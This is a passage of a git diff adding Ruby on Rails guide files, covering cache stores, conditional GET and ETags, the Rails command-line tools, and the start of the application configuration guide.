connect_timeout: 30, # Defaults to 20 seconds + read_timeout: 0.2, # Defaults to 1 second + write_timeout: 0.2, # Defaults to 1 second + reconnect_attempts: 1, # Defaults to 0 + + error_handler: -> (method:, returning:, exception:) { + # Report errors to Sentry as warnings + Raven.capture_exception exception, level: 'warning', + tags: { method: method, returning: returning } + } +} +``` + +### ActiveSupport::Cache::NullStore + +This cache store implementation is meant to be used only in development or test environments and it never stores anything. This can be very useful in development when you have code that interacts directly with `Rails.cache` but caching may interfere with being able to see the results of code changes. With this cache store, all `fetch` and `read` operations will result in a miss. + +```ruby +config.cache_store = :null_store +``` + +Cache Keys +---------- + +The keys used in a cache can be any object that responds to either `cache_key` or +`to_param`. You can implement the `cache_key` method on your classes if you need +to generate custom keys. Active Record will generate keys based on the class name +and record id. + +You can use Hashes and Arrays of values as cache keys. + +```ruby +# This is a legal cache key +Rails.cache.read(site: "mysite", owners: [owner_1, owner_2]) +``` + +The keys you use on `Rails.cache` will not be the same as those actually used with +the storage engine. They may be modified with a namespace or altered to fit +technology backend constraints. This means, for instance, that you can't save +values with `Rails.cache` and then try to pull them out with the `dalli` gem. +However, you also don't need to worry about exceeding the memcached size limit or +violating syntax rules. + +Conditional GET support +----------------------- + +Conditional GETs are a feature of the HTTP specification that provide a way for web servers to tell browsers that the response to a GET request hasn't changed since the last request and can be safely pulled from the browser cache. + +They work by using the `HTTP_IF_NONE_MATCH` and `HTTP_IF_MODIFIED_SINCE` headers to pass back and forth both a unique content identifier and the timestamp of when the content was last changed. If the browser makes a request where the content identifier (etag) or last modified since timestamp matches the server's version then the server only needs to send back an empty response with a not modified status. + +It is the server's (i.e. our) responsibility to look for a last modified timestamp and the if-none-match header and determine whether or not to send back the full response. With conditional-get support in Rails this is a pretty easy task: + +```ruby +class ProductsController < ApplicationController + + def show + @product = Product.find(params[:id]) + + # If the request is stale according to the given timestamp and etag value + # (i.e. it needs to be processed again) then execute this block + if stale?(last_modified: @product.updated_at.utc, etag: @product.cache_key_with_version) + respond_to do |wants| + # ... normal response processing + end + end + + # If the request is fresh (i.e. it's not modified) then you don't need to do + # anything. The default render checks for this using the parameters + # used in the previous call to stale? and will automatically send a + # :not_modified. So that's it, you're done. + end +end +``` + +Instead of an options hash, you can also simply pass in a model. Rails will use the `updated_at` and `cache_key_with_version` methods for setting `last_modified` and `etag`: + +```ruby +class ProductsController < ApplicationController + def show + @product = Product.find(params[:id]) + + if stale?(@product) + respond_to do |wants| + # ... normal response processing + end + end + end +end +``` + +If you don't have any special response processing and are using the default rendering mechanism (i.e. you're not using `respond_to` or calling render yourself) then you've got an easy helper in `fresh_when`: + +```ruby +class ProductsController < ApplicationController + + # This will automatically send back a :not_modified if the request is fresh, + # and will render the default template (product.*) if it's stale. + + def show + @product = Product.find(params[:id]) + fresh_when last_modified: @product.published_at.utc, etag: @product + end +end +``` + +Sometimes we want to cache response, for example a static page, that never gets +expired. To achieve this, we can use `http_cache_forever` helper and by doing +so browser and proxies will cache it indefinitely. + +By default cached responses will be private, cached only on the user's web +browser. To allow proxies to cache the response, set `public: true` to indicate +that they can serve the cached response to all users. + +Using this helper, `last_modified` header is set to `Time.new(2011, 1, 1).utc` +and `expires` header is set to a 100 years. + +WARNING: Use this method carefully as browser/proxy won't be able to invalidate +the cached response unless browser cache is forcefully cleared. + +```ruby +class HomeController < ApplicationController + def index + http_cache_forever(public: true) do + render + end + end +end +``` + +### Strong v/s Weak ETags + +Rails generates weak ETags by default. Weak ETags allow semantically equivalent +responses to have the same ETags, even if their bodies do not match exactly. +This is useful when we don't want the page to be regenerated for minor changes in +response body. + +Weak ETags have a leading `W/` to differentiate them from strong ETags. + +``` + W/"618bbc92e2d35ea1945008b42799b0e7" → Weak ETag + "618bbc92e2d35ea1945008b42799b0e7" → Strong ETag +``` + +Unlike weak ETag, strong ETag implies that response should be exactly the same +and byte by byte identical. Useful when doing Range requests within a +large video or PDF file. Some CDNs support only strong ETags, like Akamai. +If you absolutely need to generate a strong ETag, it can be done as follows. + +```ruby + class ProductsController < ApplicationController + def show + @product = Product.find(params[:id]) + fresh_when last_modified: @product.published_at.utc, strong_etag: @product + end + end +``` + +You can also set the strong ETag directly on the response. + +```ruby + response.strong_etag = response.body # => "618bbc92e2d35ea1945008b42799b0e7" +``` + +Caching in Development +---------------------- + +It's common to want to test the caching strategy of your application +in development mode. Rails provides the rails command `dev:cache` to +easily toggle caching on/off. + +```bash +$ rails dev:cache +Development mode is now being cached. +$ rails dev:cache +Development mode is no longer being cached. +``` + +References +---------- + +* [DHH's article on key-based expiration](https://signalvnoise.com/posts/3113-how-key-based-cache-expiration-works) +* [Ryan Bates' Railscast on cache digests](http://railscasts.com/episodes/387-cache-digests) diff --git a/guides/source/command_line.md b/guides/source/command_line.md new file mode 100644 index 0000000000..bbebf97c3f --- /dev/null +++ b/guides/source/command_line.md @@ -0,0 +1,683 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +The Rails Command Line +====================== + +After reading this guide, you will know: + +* How to create a Rails application. +* How to generate models, controllers, database migrations, and unit tests. +* How to start a development server. +* How to experiment with objects through an interactive shell. + +-------------------------------------------------------------------------------- + +NOTE: This tutorial assumes you have basic Rails knowledge from reading the [Getting Started with Rails Guide](getting_started.html). + +Command Line Basics +------------------- + +There are a few commands that are absolutely critical to your everyday usage of Rails. In the order of how much you'll probably use them are: + +* `rails console` +* `rails server` +* `rails test` +* `rails generate` +* `rails db:migrate` +* `rails db:create` +* `rails routes` +* `rails dbconsole` +* `rails new app_name` + +You can get a list of rails commands available to you, which will often depend on your current directory, by typing `rails --help`. Each command has a description, and should help you find the thing you need. + +```bash +$ rails --help +Usage: rails COMMAND [ARGS] + +The most common rails commands are: + generate Generate new code (short-cut alias: "g") + console Start the Rails console (short-cut alias: "c") + server Start the Rails server (short-cut alias: "s") + ... + +All commands can be run with -h (or --help) for more information. + +In addition to those commands, there are: + about List versions of all Rails ... + assets:clean[keep] Remove old compiled assets + assets:clobber Remove compiled assets + assets:environment Load asset compile environment + assets:precompile Compile all the assets ... + ... + db:fixtures:load Loads fixtures into the ... + db:migrate Migrate the database ... + db:migrate:status Display status of migrations + db:rollback Rolls the schema back to ... + db:schema:cache:clear Clears a db/schema_cache.yml file + db:schema:cache:dump Creates a db/schema_cache.yml file + db:schema:dump Creates a db/schema.rb file ... + db:schema:load Loads a schema.rb file ... + db:seed Loads the seed data ... + db:structure:dump Dumps the database structure ... + db:structure:load Recreates the databases ... + db:version Retrieves the current schema ... + ... + restart Restart app by touching ... + tmp:create Creates tmp directories ... +``` + +Let's create a simple Rails application to step through each of these commands in context. + +### `rails new` + +The first thing we'll want to do is create a new Rails application by running the `rails new` command after installing Rails. + +INFO: You can install the rails gem by typing `gem install rails`, if you don't have it already. + +```bash +$ rails new commandsapp + create + create README.md + create Rakefile + create config.ru + create .gitignore + create Gemfile + create app + ... + create tmp/cache + ... + run bundle install +``` + +Rails will set you up with what seems like a huge amount of stuff for such a tiny command! You've got the entire Rails directory structure now with all the code you need to run our simple application right out of the box. + +### `rails server` + +The `rails server` command launches a web server named Puma which comes bundled with Rails. You'll use this any time you want to access your application through a web browser. + +With no further work, `rails server` will run our new shiny Rails app: + +```bash +$ cd commandsapp +$ rails server +=> Booting Puma +=> Rails 5.1.0 application starting in development on http://0.0.0.0:3000 +=> Run `rails server -h` for more startup options +Puma starting in single mode... +* Version 3.0.2 (ruby 2.3.0-p0), codename: Plethora of Penguin Pinatas +* Min threads: 5, max threads: 5 +* Environment: development +* Listening on tcp://localhost:3000 +Use Ctrl-C to stop +``` + +With just three commands we whipped up a Rails server listening on port 3000. Go to your browser and open [http://localhost:3000](http://localhost:3000), you will see a basic Rails app running. + +INFO: You can also use the alias "s" to start the server: `rails s`. + +The server can be run on a different port using the `-p` option. The default development environment can be changed using `-e`. + +```bash +$ rails server -e production -p 4000 +``` + +The `-b` option binds Rails to the specified IP, by default it is localhost. You can run a server as a daemon by passing a `-d` option. + +### `rails generate` + +The `rails generate` command uses templates to create a whole lot of things. Running `rails generate` by itself gives a list of available generators: + +INFO: You can also use the alias "g" to invoke the generator command: `rails g`. + +```bash +$ rails generate +Usage: rails generate GENERATOR [args] [options] + +... +... + +Please choose a generator below. + +Rails: + assets + channel + controller + generator + ... + ... +``` + +NOTE: You can install more generators through generator gems, portions of plugins you'll undoubtedly install, and you can even create your own! + +Using generators will save you a large amount of time by writing **boilerplate code**, code that is necessary for the app to work. + +Let's make our own controller with the controller generator. But what command should we use? Let's ask the generator: + +INFO: All Rails console utilities have help text. As with most *nix utilities, you can try adding `--help` or `-h` to the end, for example `rails server --help`. + +```bash +$ rails generate controller +Usage: rails generate controller NAME [action action] [options] + +... +... + +Description: + ... + + To create a controller within a module, specify the controller name as a path like 'parent_module/controller_name'. + + ... + +Example: + `rails generate controller CreditCards open debit credit close` + + Credit card controller with URLs like /credit_cards/debit. + Controller: app/controllers/credit_cards_controller.rb + Test: test/controllers/credit_cards_controller_test.rb + Views: app/views/credit_cards/debit.html.erb [...] + Helper: app/helpers/credit_cards_helper.rb +``` + +The controller generator is expecting parameters in the form of `generate controller ControllerName action1 action2`. Let's make a `Greetings` controller with an action of **hello**, which will say something nice to us. + +```bash +$ rails generate controller Greetings hello + create app/controllers/greetings_controller.rb + route get 'greetings/hello' + invoke erb + create app/views/greetings + create app/views/greetings/hello.html.erb + invoke test_unit + create test/controllers/greetings_controller_test.rb + invoke helper + create app/helpers/greetings_helper.rb + invoke test_unit + invoke assets + invoke scss + create app/assets/stylesheets/greetings.scss +``` + +What all did this generate? It made sure a bunch of directories were in our application, and created a controller file, a view file, a functional test file, a helper for the view, a JavaScript file, and a stylesheet file. + +Check out the controller and modify it a little (in `app/controllers/greetings_controller.rb`): + +```ruby +class GreetingsController < ApplicationController + def hello + @message = "Hello, how are you today?" + end +end +``` + +Then the view, to display our message (in `app/views/greetings/hello.html.erb`): + +```erb +<h1>A Greeting for You!</h1> +<p><%= @message %></p> +``` + +Fire up your server using `rails server`. + +```bash +$ rails server +=> Booting Puma... +``` + +The URL will be [http://localhost:3000/greetings/hello](http://localhost:3000/greetings/hello). + +INFO: With a normal, plain-old Rails application, your URLs will generally follow the pattern of http://(host)/(controller)/(action), and a URL like http://(host)/(controller) will hit the **index** action of that controller. + +Rails comes with a generator for data models too. + +```bash +$ rails generate model +Usage: + rails generate model NAME [field[:type][:index] field[:type][:index]] [options] + +... + +Active Record options: + [--migration] # Indicates when to generate migration + # Default: true + +... + +Description: + Create rails files for model generator. +``` + +NOTE: For a list of available field types for the `type` parameter, refer to the [API documentation](http://api.rubyonrails.org/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_column) for the add_column method for the `SchemaStatements` module. The `index` parameter generates a corresponding index for the column. + +But instead of generating a model directly (which we'll be doing later), let's set up a scaffold. A **scaffold** in Rails is a full set of model, database migration for that model, controller to manipulate it, views to view and manipulate the data, and a test suite for each of the above. + +We will set up a simple resource called "HighScore" that will keep track of our highest score on video games we play. + +```bash +$ rails generate scaffold HighScore game:string score:integer + invoke active_record + create db/migrate/20130717151933_create_high_scores.rb + create app/models/high_score.rb + invoke test_unit + create test/models/high_score_test.rb + create test/fixtures/high_scores.yml + invoke resource_route + route resources :high_scores + invoke scaffold_controller + create app/controllers/high_scores_controller.rb + invoke erb + create app/views/high_scores + create app/views/high_scores/index.html.erb + create app/views/high_scores/edit.html.erb + create app/views/high_scores/show.html.erb + create app/views/high_scores/new.html.erb + create app/views/high_scores/_form.html.erb + invoke test_unit + create test/controllers/high_scores_controller_test.rb + invoke helper + create app/helpers/high_scores_helper.rb + invoke jbuilder + create app/views/high_scores/index.json.jbuilder + create app/views/high_scores/show.json.jbuilder + invoke test_unit + create test/system/high_scores_test.rb + invoke assets + invoke coffee + create app/assets/javascripts/high_scores.coffee + invoke scss + create app/assets/stylesheets/high_scores.scss + invoke scss + identical app/assets/stylesheets/scaffolds.scss +``` + +The generator checks that there exist the directories for models, controllers, helpers, layouts, functional and unit tests, stylesheets, creates the views, controller, model and database migration for HighScore (creating the `high_scores` table and fields), takes care of the route for the **resource**, and new tests for everything. + +The migration requires that we **migrate**, that is, run some Ruby code (living in that `20130717151933_create_high_scores.rb`) to modify the schema of our database. Which database? The SQLite3 database that Rails will create for you when we run the `rails db:migrate` command. We'll talk more about that command below. + +```bash +$ rails db:migrate +== CreateHighScores: migrating =============================================== +-- create_table(:high_scores) + -> 0.0017s +== CreateHighScores: migrated (0.0019s) ====================================== +``` + +INFO: Let's talk about unit tests. Unit tests are code that tests and makes assertions +about code. In unit testing, we take a little part of code, say a method of a model, +and test its inputs and outputs. Unit tests are your friend. The sooner you make +peace with the fact that your quality of life will drastically increase when you unit +test your code, the better. Seriously. Please visit +[the testing guide](https://guides.rubyonrails.org/testing.html) for an in-depth +look at unit testing. + +Let's see the interface Rails created for us. + +```bash +$ rails server +``` + +Go to your browser and open [http://localhost:3000/high_scores](http://localhost:3000/high_scores), now we can create new high scores (55,160 on Space Invaders!) + +### `rails console` + +The `console` command lets you interact with your Rails application from the command line. On the underside, `rails console` uses IRB, so if you've ever used it, you'll be right at home. This is useful for testing out quick ideas with code and changing data server-side without touching the website. + +INFO: You can also use the alias "c" to invoke the console: `rails c`. + +You can specify the environment in which the `console` command should operate. + +```bash +$ rails console -e staging +``` + +If you wish to test out some code without changing any data, you can do that by invoking `rails console --sandbox`. + +```bash +$ rails console --sandbox +Loading development environment in sandbox (Rails 5.1.0) +Any modifications you make will be rolled back on exit +irb(main):001:0> +``` + +#### The app and helper objects + +Inside the `rails console` you have access to the `app` and `helper` instances. + +With the `app` method you can access url and path helpers, as well as do requests. + +```bash +>> app.root_path +=> "/" + +>> app.get _ +Started GET "/" for 127.0.0.1 at 2014-06-19 10:41:57 -0300 +... +``` + +With the `helper` method it is possible to access Rails and your application's helpers. + +```bash +>> helper.time_ago_in_words 30.days.ago +=> "about 1 month" + +>> helper.my_custom_helper +=> "my custom helper" +``` + +### `rails dbconsole` + +`rails dbconsole` figures out which database you're using and drops you into whichever command line interface you would use with it (and figures out the command line parameters to give to it, too!). It supports MySQL (including MariaDB), PostgreSQL, and SQLite3. + +INFO: You can also use the alias "db" to invoke the dbconsole: `rails db`. + +### `rails runner` + +`runner` runs Ruby code in the context of Rails non-interactively. For instance: + +```bash +$ rails runner "Model.long_running_method" +``` + +INFO: You can also use the alias "r" to invoke the runner: `rails r`. + +You can specify the environment in which the `runner` command should operate using the `-e` switch. + +```bash +$ rails runner -e staging "Model.long_running_method" +``` + +You can even execute ruby code written in a file with runner. + +```bash +$ rails runner lib/code_to_be_run.rb +``` + +### `rails destroy` + +Think of `destroy` as the opposite of `generate`. It'll figure out what generate did, and undo it. + +INFO: You can also use the alias "d" to invoke the destroy command: `rails d`. + +```bash +$ rails generate model Oops + invoke active_record + create db/migrate/20120528062523_create_oops.rb + create app/models/oops.rb + invoke test_unit + create test/models/oops_test.rb + create test/fixtures/oops.yml +``` +```bash +$ rails destroy model Oops + invoke active_record + remove db/migrate/20120528062523_create_oops.rb + remove app/models/oops.rb + invoke test_unit + remove test/models/oops_test.rb + remove test/fixtures/oops.yml +``` + +### `rails about` + +`rails about` gives information about version numbers for Ruby, RubyGems, Rails, the Rails subcomponents, your application's folder, the current Rails environment name, your app's database adapter, and schema version. It is useful when you need to ask for help, check if a security patch might affect you, or when you need some stats for an existing Rails installation. + +```bash +$ rails about +About your application's environment +Rails version 6.0.0 +Ruby version 2.5.0 (x86_64-linux) +RubyGems version 2.7.3 +Rack version 2.0.4 +JavaScript Runtime Node.js (V8) +Middleware: Rack::Sendfile, ActionDispatch::Static, ActionDispatch::Executor, ActiveSupport::Cache::Strategy::LocalCache::Middleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, ActionDispatch::RemoteIp, Sprockets::Rails::QuietAssets, Rails::Rack::Logger, ActionDispatch::ShowExceptions, WebConsole::Middleware, ActionDispatch::DebugExceptions, ActionDispatch::Reloader, ActionDispatch::Callbacks, ActiveRecord::Migration::CheckPending, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, Rack::Head, Rack::ConditionalGet, Rack::ETag +Application root /home/foobar/commandsapp +Environment development +Database adapter sqlite3 +Database schema version 20180205173523 +``` + +### `rails assets:` + +You can precompile the assets in `app/assets` using `rails assets:precompile`, and remove older compiled assets using `rails assets:clean`. The `assets:clean` command allows for rolling deploys that may still be linking to an old asset while the new assets are being built. + +If you want to clear `public/assets` completely, you can use `rails assets:clobber`. + +### `rails db:` + +The most common commands of the `db:` rails namespace are `migrate` and `create`, and it will pay off to try out all of the migration rails commands (`up`, `down`, `redo`, `reset`). `rails db:version` is useful when troubleshooting, telling you the current version of the database. + +More information about migrations can be found in the [Migrations](active_record_migrations.html) guide. + +### `rails notes` + +`rails notes` searches through your code for comments beginning with a specific keyword. You can refer to `rails notes --help` for information about usage. + +By default, it will search in `app`, `config`, `db`, `lib`, and `test` directories for FIXME, OPTIMIZE, and TODO annotations in files with extension `.builder`, `.rb`, `.rake`, `.yml`, `.yaml`, `.ruby`, `.css`, `.js`, and `.erb`. + +```bash +$ rails notes +app/controllers/admin/users_controller.rb: + * [ 20] [TODO] any other way to do this? + * [132] [FIXME] high priority for next deploy + +lib/school.rb: + * [ 13] [OPTIMIZE] refactor this code to make it faster + * [ 17] [FIXME] +``` + +#### Annotations + +You can pass specific annotations by using the `--annotations` argument. By default, it will search for FIXME, OPTIMIZE, and TODO. +Note that annotations are case sensitive. + +```bash +$ rails notes --annotations FIXME RELEASE +app/controllers/admin/users_controller.rb: + * [101] [RELEASE] We need to look at this before next release + * [132] [FIXME] high priority for next deploy + +lib/school.rb: + * [ 17] [FIXME] +``` + +#### Directories + +You can add more default directories to search from by using `config.annotations.register_directories`. It receives a list of directory names. + +```ruby +config.annotations.register_directories("spec", "vendor") +``` + +```bash +$ rails notes +app/controllers/admin/users_controller.rb: + * [ 20] [TODO] any other way to do this? + * [132] [FIXME] high priority for next deploy + +lib/school.rb: + * [ 13] [OPTIMIZE] Refactor this code to make it faster + * [ 17] [FIXME] + +spec/models/user_spec.rb: + * [122] [TODO] Verify the user that has a subscription works + +vendor/tools.rb: + * [ 56] [TODO] Get rid of this dependency +``` + +#### Extensions + +You can add more default file extensions to search from by using `config.annotations.register_extensions`. It receives a list of extensions with its corresponding regex to match it up. + +```ruby +config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } +``` + +```bash +$ rails notes +app/controllers/admin/users_controller.rb: + * [ 20] [TODO] any other way to do this? + * [132] [FIXME] high priority for next deploy + +app/assets/stylesheets/application.css.sass: + * [ 34] [TODO] Use pseudo element for this class + +app/assets/stylesheets/application.css.scss: + * [ 1] [TODO] Split into multiple components + +lib/school.rb: + * [ 13] [OPTIMIZE] Refactor this code to make it faster + * [ 17] [FIXME] + +spec/models/user_spec.rb: + * [122] [TODO] Verify the user that has a subscription works + +vendor/tools.rb: + * [ 56] [TODO] Get rid of this dependency +``` + +### `rails routes` + +`rails routes` will list all of your defined routes, which is useful for tracking down routing problems in your app, or giving you a good overview of the URLs in an app you're trying to get familiar with. + +### `rails test` + +INFO: A good description of unit testing in Rails is given in [A Guide to Testing Rails Applications](testing.html) + +Rails comes with a test framework called minitest. Rails owes its stability to the use of tests. The commands available in the `test:` namespace helps in running the different tests you will hopefully write. + +### `rails tmp:` + +The `Rails.root/tmp` directory is, like the *nix /tmp directory, the holding place for temporary files like process id files and cached actions. + +The `tmp:` namespaced commands will help you clear and create the `Rails.root/tmp` directory: + +* `rails tmp:cache:clear` clears `tmp/cache`. +* `rails tmp:sockets:clear` clears `tmp/sockets`. +* `rails tmp:screenshots:clear` clears `tmp/screenshots`. +* `rails tmp:clear` clears all cache, sockets, and screenshot files. +* `rails tmp:create` creates tmp directories for cache, sockets, and pids. + +### Miscellaneous + +* `rails stats` is great for looking at statistics on your code, displaying things like KLOCs (thousands of lines of code) and your code to test ratio. +* `rails secret` will give you a pseudo-random key to use for your session secret. +* `rails time:zones:all` lists all the timezones Rails knows about. + +### Custom Rake Tasks + +Custom rake tasks have a `.rake` extension and are placed in +`Rails.root/lib/tasks`. You can create these custom rake tasks with the +`rails generate task` command. + +```ruby +desc "I am short, but comprehensive description for my cool task" +task task_name: [:prerequisite_task, :another_task_we_depend_on] do + # All your magic here + # Any valid Ruby code is allowed +end +``` + +To pass arguments to your custom rake task: + +```ruby +task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2] do |task, args| + argument_1 = args.arg_1 +end +``` + +You can group tasks by placing them in namespaces: + +```ruby +namespace :db do + desc "This task does nothing" + task :nothing do + # Seriously, nothing + end +end +``` + +Invocation of the tasks will look like: + +```bash +$ rails task_name +$ rails "task_name[value 1]" # entire argument string should be quoted +$ rails db:nothing +``` + +NOTE: If your need to interact with your application models, perform database queries, and so on, your task should depend on the `environment` task, which will load your application code. + +The Rails Advanced Command Line +------------------------------- + +More advanced use of the command line is focused around finding useful (even surprising at times) options in the utilities, and fitting those to your needs and specific work flow. Listed here are some tricks up Rails' sleeve. + +### Rails with Databases and SCM + +When creating a new Rails application, you have the option to specify what kind of database and what kind of source code management system your application is going to use. This will save you a few minutes, and certainly many keystrokes. + +Let's see what a `--git` option and a `--database=postgresql` option will do for us: + +```bash +$ mkdir gitapp +$ cd gitapp +$ git init +Initialized empty Git repository in .git/ +$ rails new . --git --database=postgresql + exists + create app/controllers + create app/helpers +... +... + create tmp/cache + create tmp/pids + create Rakefile +add 'Rakefile' + create README.md +add 'README.md' + create app/controllers/application_controller.rb +add 'app/controllers/application_controller.rb' + create app/helpers/application_helper.rb +... + create log/test.log +add 'log/test.log' +``` + +We had to create the **gitapp** directory and initialize an empty git repository before Rails would add files it created to our repository. Let's see what it put in our database configuration: + +```bash +$ cat config/database.yml +# PostgreSQL. Versions 9.1 and up are supported. +# +# Install the pg driver: +# gem install pg +# On macOS with Homebrew: +# gem install pg -- --with-pg-config=/usr/local/bin/pg_config +# On macOS with MacPorts: +# gem install pg -- --with-pg-config=/opt/local/lib/postgresql84/bin/pg_config +# On Windows: +# gem install pg +# Choose the win32 build. +# Install PostgreSQL and put its /bin directory on your path. +# +# Configure Using Gemfile +# gem 'pg' +# +default: &default + adapter: postgresql + encoding: unicode + # For details on connection pooling, see Rails configuration guide + # https://guides.rubyonrails.org/configuring.html#database-pooling + pool: <%= ENV.fetch("RAILS_MAX_THREADS") { 5 } %> + +development: + <<: *default + database: gitapp_development +... +... +``` + +It also generated some lines in our `database.yml` configuration corresponding to our choice of PostgreSQL for database. + +NOTE. The only catch with using the SCM options is that you have to make your application's directory first, then initialize your SCM, then you can run the `rails new` command to generate the basis of your app. diff --git a/guides/source/configuring.md b/guides/source/configuring.md new file mode 100644 index 0000000000..ae1de3079f --- /dev/null +++ b/guides/source/configuring.md @@ -0,0 +1,1492 @@ +**DO NOT READ THIS FILE ON GITHUB, GUIDES ARE PUBLISHED ON https://guides.rubyonrails.org.** + +Configuring Rails Applications +============================== + +This guide covers the configuration and initialization features available to Rails applications. + +After reading this guide, you will know: + +* How to adjust the behavior of your Rails applications. +* How to add additional code to be run at application start time. + +-------------------------------------------------------------------------------- + +Locations for Initialization Code +--------------------------------- + +Rails offers four standard spots to place initialization code: + +* `config/application.rb` +* Environment-specific configuration files +* Initializers +* After-initializers + +Running Code Before Rails +------------------------- + +In the rare event that your application needs to run some code before Rails itself is loaded, put it above the call to `require 'rails/all'` in `config/application.rb`. + +Configuring Rails Components +---------------------------- + +In general, the work of configuring Rails means configuring the components of Rails, as well as configuring Rails itself. The configuration file `config/application.rb` and environment-specific configuration files (such as `config/environments/production.rb`) allow you to specify the various settings that you want to pass down to all of the components. + +For example, you could add this setting to `config/application.rb` file: + +```ruby +config.time_zone = 'Central Time (US & Canada)' +``` + +This is a setting for Rails itself. If you want to pass settings to individual Rails components, you can do so via the same `config` object in `config/application.rb`: + +```ruby +config.active_record.schema_format = :ruby +``` + +Rails will use that particular setting to configure Active Record. + +### Rails General Configuration + +These configuration methods are to be called on a `Rails::Railtie` object, such as a subclass of `Rails::Engine` or `Rails::Application`. + +* `config.after_initialize` takes a block which will be run _after_ Rails has finished initializing the application. That includes the initialization of the framework itself, engines, and all the application's initializers in `config/initializers`. Note that this block _will_ be run for rake tasks. Useful for configuring values set up by other initializers: + + ```ruby + config.after_initialize do + ActionView::Base.sanitized_allowed_tags.delete 'div' + end + ``` + +* `config.asset_host` sets the host for the assets. Useful when CDNs are used for hosting assets, or when you want to work around the concurrency constraints built-in in browsers using different domain aliases. Shorter version of `config.action_controller.asset_host`. + +* `config.autoload_once_paths` accepts an array of paths from which Rails will autoload constants that won't be wiped per request. Relevant if `config.cache_classes` is `false`, which is the case in development mode by default. Otherwise, all autoloading happens only once. All elements of this array must also be in `autoload_paths`. Default is an empty array. + +* `config.autoload_paths` accepts an array of paths from which Rails will autoload constants. Default is all directories under `app`. It is no longer recommended to adjust this. See [Autoloading and Reloading Constants](autoloading_and_reloading_constants.html#autoload-paths-and-eager-load-paths) + +* `config.cache_classes` controls whether or not application classes and modules should be reloaded on each request. Defaults to `false` in development mode, and `true` in test and production modes. + +* `config.beginning_of_week` sets the default beginning of week for the +application. Accepts a valid week day symbol (e.g. `:monday`). + +* `config.cache_store` configures which cache store to use for Rails caching. Options include one of the symbols `:memory_store`, `:file_store`, `:mem_cache_store`, `:null_store`, `:redis_cache_store`, or an object that implements the cache API. Defaults to `:file_store`. + +* `config.colorize_logging` specifies whether or not to use ANSI color codes when logging information. Defaults to `true`. + +* `config.consider_all_requests_local` is a flag. If `true` then any error will cause detailed debugging information to be dumped in the HTTP response, and the `Rails::Info` controller will show the application runtime context in `/rails/info/properties`. `true` by default in development and test environments, and `false` in production mode. For finer-grained control, set this to `false` and implement `local_request?` in controllers to specify which requests should provide debugging information on errors. + +* `config.console` allows you to set class that will be used as console you run `rails console`. It's best to run it in `console` block: + + ```ruby + console do + # this block is called only when running console, + # so we can safely require pry here + require "pry" + config.console = Pry + end + ``` + +* `config.eager_load` when `true`, eager loads all registered `config.eager_load_namespaces`. This includes your application, engines, Rails frameworks, and any other registered namespace. + +* `config.eager_load_namespaces` registers namespaces that are eager loaded when `config.eager_load` is `true`. All namespaces in the list must respond to the `eager_load!` method. + +* `config.eager_load_paths` accepts an array of paths from which Rails will eager load on boot if cache classes is enabled. Defaults to every folder in the `app` directory of the application. + +* `config.enable_dependency_loading`: when true, enables autoloading, even if the application is eager loaded and `config.cache_classes` is set as true. Defaults to false. + +* `config.encoding` sets up the application-wide encoding. Defaults to UTF-8. + +* `config.exceptions_app` sets the exceptions application invoked by the ShowException middleware when an exception happens. Defaults to `ActionDispatch::PublicExceptions.new(Rails.public_path)`. + +* `config.debug_exception_response_format` sets the format used in responses when errors occur in development mode. Defaults to `:api` for API only apps and `:default` for normal apps. + +* `config.file_watcher` is the class used to detect file updates in the file system when `config.reload_classes_only_on_change` is `true`. Rails ships with `ActiveSupport::FileUpdateChecker`, the default, and `ActiveSupport::EventedFileUpdateChecker` (this one depends on the [listen](https://github.com/guard/listen) gem). Custom classes must conform to the `ActiveSupport::FileUpdateChecker` API. + +* `config.filter_parameters` used for filtering out the parameters that +you don't want shown in the logs, such as passwords or credit card +numbers. It also filters out sensitive values of database columns when call `#inspect` on an Active Record object. By default, Rails filters out passwords by adding `Rails.application.config.filter_parameters += [:password]` in `config/initializers/filter_parameter_logging.rb`. Parameters filter works by partial matching regular expression. + +* `config.force_ssl` forces all requests to be served over HTTPS by using the `ActionDispatch::SSL` middleware, and sets `config.action_mailer.default_url_options` to be `{ protocol: 'https' }`. This can be configured by setting `config.ssl_options` - see the [ActionDispatch::SSL documentation](http://api.rubyonrails.org/classes/ActionDispatch/SSL.html) for details. + +* `config.log_formatter` defines the formatter of the Rails logger. This option defaults to an instance of `ActiveSupport::Logger::SimpleFormatter` for all modes. If you are setting a value for `config.logger` you must manually pass the value of your formatter to your logger before it is wrapped in an `ActiveSupport::TaggedLogging` instance, Rails will not do it for you. + +* `config.log_level` defines the verbosity of the Rails logger. This option +defaults to `:debug` for all environments. The available log levels are: `:debug`, +`:info`, `:warn`, `:error`, `:fatal`, and `:unknown`. + +* `config.log_tags` accepts a list of: methods that the `request` object responds to, a `Proc` that accepts the `request` object, or something that responds to `to_s`. This makes it easy to tag log lines with debug information like subdomain and request id - both very helpful in debugging multi-user production applications. + +* `config.logger` is the logger that will be used for `Rails.logger` and any related Rails logging such as `ActiveRecord::Base.logger`. It defaults to an instance of `ActiveSupport::TaggedLogging` that wraps an instance of `ActiveSupport::Logger` which outputs a log to the `log/` directory. You can supply a custom logger, to get full compatibility you must follow these guidelines: + * To support a formatter, you must manually assign a formatter from the `config.log_formatter` value to the logger. + * To support tagged logs, the log instance must be wrapped with `ActiveSupport::TaggedLogging`. + * To support silencing, the logger must include `ActiveSupport::LoggerSilence` module. The `ActiveSupport::Logger` class already includes these modules. + + ```ruby + class MyLogger < ::Logger + include ActiveSupport::LoggerSilence + end + + mylogger = MyLogger.new(STDOUT) + mylogger.formatter = config.log_formatter + config.logger = ActiveSupport::TaggedLogging.new(mylogger) + ``` + +* `config.middleware` allows you to configure the application's middleware. This is covered in depth in the [Configuring Middleware](#configuring-middleware) section below. + +* `config.reload_classes_only_on_change` enables or disables reloading of classes only when tracked files change. By default tracks everything on autoload paths and is set to `true`. If `config.cache_classes` is `true`, this option is ignored. + +* `secret_key_base` is used for specifying a key which allows sessions for the application to be verified against a known secure key to prevent tampering. Applications get a random generated key in test and development environments, other environments should set one in `config/credentials.yml.enc`. + +* `config.public_file_server.enabled` configures Rails to serve static files from the 